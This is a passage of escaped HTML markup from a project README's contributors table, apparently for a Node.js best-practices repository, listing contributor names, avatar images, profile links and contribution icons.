hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img src=\"https://avatars0.githubusercontent.com/u/26370059?v=4\" width=\"100px;\" alt=\"Vitor Godoy\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vitor Godoy</b></sub></a><br /><a href=\"#content-vitordagamagodoy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.manishsaraan.com/\"><img src=\"https://avatars2.githubusercontent.com/u/19797340?v=4\" width=\"100px;\" alt=\"Manish Saraan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Manish Saraan</b></sub></a><br /><a href=\"#content-manishsaraan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/uronly14me\"><img src=\"https://avatars2.githubusercontent.com/u/5186814?v=4\" width=\"100px;\" alt=\"Sangbeom Han\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sangbeom Han</b></sub></a><br /><a href=\"#content-uronly14me\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://blackmatch.github.io\"><img src=\"https://avatars3.githubusercontent.com/u/12443954?v=4\" width=\"100px;\" alt=\"blackmatch\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>blackmatch</b></sub></a><br /><a href=\"#content-blackmatch\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://simmsreeve.com\"><img src=\"https://avatars3.githubusercontent.com/u/5173131?v=4\" width=\"100px;\" alt=\"Joe Reeve\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Joe Reeve</b></sub></a><br /><a href=\"#content-ISNIT0\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/BusbyActual\"><img src=\"https://avatars2.githubusercontent.com/u/14985016?v=4\" width=\"100px;\" alt=\"Ryan Busby\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ryan Busby</b></sub></a><br /><a href=\"#content-BusbyActual\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jsdecorator.com\"><img src=\"https://avatars3.githubusercontent.com/u/4482199?v=4\" width=\"100px;\" alt=\"Iman Mohamadi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Iman Mohamadi</b></sub></a><br /><a href=\"#content-ImanMh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/HeeL\"><img src=\"https://avatars1.githubusercontent.com/u/287769?v=4\" width=\"100px;\" alt=\"Sergii Paryzhskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergii Paryzhskyi</b></sub></a><br /><a href=\"#content-HeeL\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kapilepatel\"><img src=\"https://avatars3.githubusercontent.com/u/25738473?v=4\" width=\"100px;\" alt=\"Kapil Patel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kapil Patel</b></sub></a><br /><a href=\"#content-kapilepatel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/justjavac\"><img src=\"https://avatars1.githubusercontent.com/u/359395?v=4\" width=\"100px;\" alt=\"迷渡\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>迷渡</b></sub></a><br /><a href=\"#content-justjavac\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hozefaj\"><img src=\"https://avatars1.githubusercontent.com/u/2084833?v=4\" width=\"100px;\" alt=\"Hozefa\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hozefa</b></sub></a><br /><a href=\"#content-hozefaj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/el-ethan\"><img src=\"https://avatars3.githubusercontent.com/u/10249884?v=4\" width=\"100px;\" alt=\"Ethan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ethan</b></sub></a><br /><a href=\"#content-el-ethan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/milkdeliver\"><img src=\"https://avatars2.githubusercontent.com/u/3108407?v=4\" width=\"100px;\" alt=\"Sam\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sam</b></sub></a><br /><a href=\"#content-milkdeliver\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ArlindXh\"><img src=\"https://avatars0.githubusercontent.com/u/19508764?v=4\" width=\"100px;\" alt=\"Arlind\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Arlind</b></sub></a><br /><a href=\"#content-ArlindXh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ttous\"><img src=\"https://avatars0.githubusercontent.com/u/19815440?v=4\" width=\"100px;\" alt=\"Teddy Toussaint\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Teddy Toussaint</b></sub></a><br /><a href=\"#content-ttous\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ardern.io\"><img src=\"https://avatars2.githubusercontent.com/u/2419690?v=4\" width=\"100px;\" alt=\"Lewis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Lewis</b></sub></a><br /><a href=\"#content-LewisArdern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://gabriellidenor.com/\"><img src=\"https://avatars2.githubusercontent.com/u/765963?v=4\" width=\"100px;\" alt=\"Gabriel Lidenor \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabriel Lidenor </b></sub></a><br /><a href=\"#content-GabrielLidenor\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/animir\"><img src=\"https://avatars3.githubusercontent.com/u/4623196?v=4\" width=\"100px;\" alt=\"Roman\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Roman</b></sub></a><br /><a href=\"#content-animir\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Francozeira\"><img src=\"https://avatars1.githubusercontent.com/u/47419763?v=4\" width=\"100px;\" alt=\"Francozeira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Francozeira</b></sub></a><br /><a href=\"#content-Francozeira\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/invvard\"><img src=\"https://avatars0.githubusercontent.com/u/7305493?v=4\" width=\"100px;\" alt=\"Invvard\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Invvard</b></sub></a><br /><a href=\"#content-Invvard\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://romulogarofalo.github.io/\"><img src=\"https://avatars1.githubusercontent.com/u/18492592?v=4\" width=\"100px;\" alt=\"Rômulo Garofalo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Rômulo Garofalo</b></sub></a><br /><a href=\"#content-romulogarofalo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://thoqbk.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/1491103?v=4\" width=\"100px;\" alt=\"Tho Q Luong\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tho Q Luong</b></sub></a><br /><a href=\"#content-thoqbk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Qeneke\"><img src=\"https://avatars2.githubusercontent.com/u/20271568?v=4\" width=\"100px;\" alt=\"Burak Shen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Burak Shen</b></sub></a><br /><a href=\"#content-Qeneke\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.happy-css.com\"><img src=\"https://avatars0.githubusercontent.com/u/2950505?v=4\" width=\"100px;\" alt=\"Martin Muzatko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Martin Muzatko</b></sub></a><br /><a href=\"#content-MartinMuzatko\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/autoboxer\"><img src=\"https://avatars3.githubusercontent.com/u/2757601?v=4\" width=\"100px;\" alt=\"Jared Collier\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jared Collier</b></sub></a><br /><a href=\"#content-autoboxer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hiltonmeyer.com\"><img src=\"https://avatars3.githubusercontent.com/u/4545860?v=4\" width=\"100px;\" alt=\"Hilton Meyer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hilton Meyer</b></sub></a><br /><a href=\"#content-bikingbadger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kr.vuejs.org\"><img src=\"https://avatars0.githubusercontent.com/u/1451365?v=4\" width=\"100px;\" alt=\"ChangJoo Park(박창주)\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ChangJoo Park(박창주)</b></sub></a><br /><a href=\"#content-ChangJoo-Park\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MasahiroSakaguchi\"><img src=\"https://avatars0.githubusercontent.com/u/16427431?v=4\" width=\"100px;\" alt=\"Masahiro Sakaguchi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Masahiro Sakaguchi</b></sub></a><br /><a href=\"#content-MasahiroSakaguchi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/TheHollidayInn\"><img src=\"https://avatars1.githubusercontent.com/u/1253400?v=4\" width=\"100px;\" alt=\"Keith Holliday\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Keith Holliday</b></sub></a><br /><a href=\"#content-TheHollidayInn\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.coreycleary.me\"><img src=\"https://avatars3.githubusercontent.com/u/1485356?v=4\" width=\"100px;\" alt=\"coreyc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>coreyc</b></sub></a><br /><a href=\"#content-coreyc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://maxcubing.wordpress.com\"><img src=\"https://avatars0.githubusercontent.com/u/8260834?v=4\" width=\"100px;\" alt=\"Maximilian Berkmann\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Maximilian Berkmann</b></sub></a><br /><a href=\"#content-Berkmann18\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/DouglasMV\"><img src=\"https://avatars3.githubusercontent.com/u/32845487?v=4\" width=\"100px;\" alt=\"Douglas Mariano Valero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Douglas Mariano Valero</b></sub></a><br /><a href=\"#content-DouglasMV\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/marcelosdm\"><img src=\"https://avatars0.githubusercontent.com/u/18266600?v=4\" width=\"100px;\" alt=\"Marcelo Melo\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Marcelo Melo</b></sub></a><br /><a href=\"#content-marcelosdm\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/mperk_\"><img src=\"https://avatars0.githubusercontent.com/u/3465794?v=4\" width=\"100px;\" alt=\"Mehmet Perk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mehmet Perk</b></sub></a><br /><a href=\"#content-mperk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ryanouyang\"><img src=\"https://avatars2.githubusercontent.com/u/360426?v=4\" width=\"100px;\" alt=\"ryan ouyang\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>ryan ouyang</b></sub></a><br /><a href=\"#content-ryanouyang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shabeer-mdy\"><img src=\"https://avatars0.githubusercontent.com/u/26842535?v=4\" width=\"100px;\" alt=\"Shabeer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shabeer</b></sub></a><br /><a href=\"#content-shabeer-mdy\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/halfzebra\"><img src=\"https://avatars1.githubusercontent.com/u/3983879?v=4\" width=\"100px;\" alt=\"Eduard Kyvenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eduard Kyvenko</b></sub></a><br /><a href=\"#content-halfzebra\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://deyvisonrocha.com\"><img src=\"https://avatars2.githubusercontent.com/u/686067?v=4\" width=\"100px;\" alt=\"Deyvison Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Deyvison Rocha</b></sub></a><br /><a href=\"#content-deyvisonrocha\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://twitter.com/georgemamer\"><img src=\"https://avatars1.githubusercontent.com/u/20108934?v=4\" width=\"100px;\" alt=\"George Mamer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>George Mamer</b></sub></a><br /><a href=\"#content-georgem3\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leimonio\"><img src=\"https://avatars0.githubusercontent.com/u/1969742?v=4\" width=\"100px;\" alt=\"Konstantinos Leimonis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Konstantinos Leimonis</b></sub></a><br /><a href=\"#content-leimonio\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Zybax\"><img src=\"https://avatars3.githubusercontent.com/u/22094453?v=4\" width=\"100px;\" alt=\"Oliver Lluberes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Oliver Lluberes</b></sub></a><br /><a href=\"#translation-Zybax\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/story/tiendq\"><img src=\"https://avatars2.githubusercontent.com/u/815910?v=4\" width=\"100px;\" alt=\"Tien Do\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Tien Do</b></sub></a><br /><a href=\"#content-tiendq\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://singh1114.github.io/\"><img src=\"https://avatars0.githubusercontent.com/u/11356398?v=4\" width=\"100px;\" alt=\"Ranvir Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ranvir Singh</b></sub></a><br /><a href=\"#content-singh1114\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/collierrgbsitisfise\"><img src=\"https://avatars3.githubusercontent.com/u/13496126?v=4\" width=\"100px;\" alt=\"Vadim Nicolaev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vadim Nicolaev</b></sub></a><br /><a href=\"#content-collierrgbsitisfise\" title=\"Content\">🖋</a> <a href=\"#translation-collierrgbsitisfise\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/germangamboa95\"><img src=\"https://avatars3.githubusercontent.com/u/28633849?v=4\" width=\"100px;\" alt=\"German Gamboa Gonzalez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>German Gamboa Gonzalez</b></sub></a><br /><a href=\"#content-germangamboa95\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/AbdelrahmanHafez\"><img src=\"https://avatars3.githubusercontent.com/u/19984935?v=4\" width=\"100px;\" alt=\"Hafez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Hafez</b></sub></a><br /><a href=\"#content-AbdelrahmanHafez\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://linkedin.com/in/chandiran-dmc\"><img src=\"https://avatars3.githubusercontent.com/u/42678579?v=4\" width=\"100px;\" alt=\"Chandiran\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chandiran</b></sub></a><br /><a href=\"#content-chandiran-dmc\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/VinayaSathyanarayana\"><img src=\"https://avatars2.githubusercontent.com/u/16976677?v=4\" width=\"100px;\" alt=\"VinayaSathyanarayana\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>VinayaSathyanarayana</b></sub></a><br /><a href=\"#content-VinayaSathyanarayana\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.kimkern.de\"><img src=\"https://avatars1.githubusercontent.com/u/2671139?v=4\" width=\"100px;\" alt=\"Kim Kern\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kim Kern</b></sub></a><br /><a href=\"#content-kiwikern\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://kennethfreitas.github.io/\"><img src=\"https://avatars2.githubusercontent.com/u/55669043?v=4\" width=\"100px;\" alt=\"Kenneth Freitas\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kenneth Freitas</b></sub></a><br /><a href=\"#content-kennethfreitas\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/songe\"><img src=\"https://avatars2.githubusercontent.com/u/1531561?v=4\" width=\"100px;\" alt=\"songe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>songe</b></sub></a><br /><a href=\"#content-songe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ksed.dev\"><img src=\"https://avatars1.githubusercontent.com/u/30693707?v=4\" width=\"100px;\" alt=\"Kirill Shekhovtsov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kirill Shekhovtsov</b></sub></a><br /><a href=\"#content-Ksedline\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SerzN1\"><img src=\"https://avatars0.githubusercontent.com/u/2534649?v=4\" width=\"100px;\" alt=\"Serge\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Serge</b></sub></a><br /><a href=\"#content-SerzN1\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyrwinz\"><img src=\"https://avatars3.githubusercontent.com/u/21241761?v=4\" width=\"100px;\" alt=\"keyrwinz\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>keyrwinz</b></sub></a><br /><a href=\"#content-keyrwinz\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nDmitry\"><img src=\"https://avatars0.githubusercontent.com/u/2134568?v=4\" width=\"100px;\" alt=\"Dmitry Nikitenko\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dmitry Nikitenko</b></sub></a><br /><a href=\"#content-nDmitry\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bushuai.cc\"><img src=\"https://avatars0.githubusercontent.com/u/1875256?v=4\" width=\"100px;\" alt=\"bushuai\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>bushuai</b></sub></a><br /><a href=\"https://github.com/goldbergyoni/nodebestpractices/pulls?q=is%3Apr+reviewed-by%3Abushuai\" title=\"Reviewed Pull Requests\">👀</a> <a href=\"#content-bushuai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stackoverflow.com/users/1348195/benjamin-gruenbaum\"><img src=\"https://avatars2.githubusercontent.com/u/1315533?v=4\" width=\"100px;\" alt=\"Benjamin Gruenbaum\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Benjamin Gruenbaum</b></sub></a><br /><a href=\"#content-benjamingr\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/byeze\"><img src=\"https://avatars1.githubusercontent.com/u/7424138?v=4\" width=\"100px;\" alt=\"Ezequiel\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ezequiel</b></sub></a><br /><a href=\"#translation-byeze\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/juaoose\"><img src=\"https://avatars3.githubusercontent.com/u/994594?v=4\" width=\"100px;\" alt=\"Juan José Rodríguez\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Juan José Rodríguez</b></sub></a><br /><a href=\"#translation-juaoose\" title=\"Translation\">🌍</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/OrBin\"><img src=\"https://avatars1.githubusercontent.com/u/6897234?v=4\" width=\"100px;\" alt=\"Or Bin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Or Bin</b></sub></a><br /><a href=\"#content-OrBin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/andreoav07\"><img src=\"https://avatars2.githubusercontent.com/u/508827?v=4\" width=\"100px;\" alt=\"Andreo Vieira\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Andreo Vieira</b></sub></a><br /><a href=\"#content-andreoav\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mikicho\"><img src=\"https://avatars1.githubusercontent.com/u/11459632?v=4\" width=\"100px;\" alt=\"Michael Solomon\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Solomon</b></sub></a><br /><a href=\"#content-mikicho\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jimmycallin\"><img src=\"https://avatars0.githubusercontent.com/u/2225828?v=4\" width=\"100px;\" alt=\"Jimmy Callin\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jimmy Callin</b></sub></a><br /><a href=\"#content-jimmycallin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a 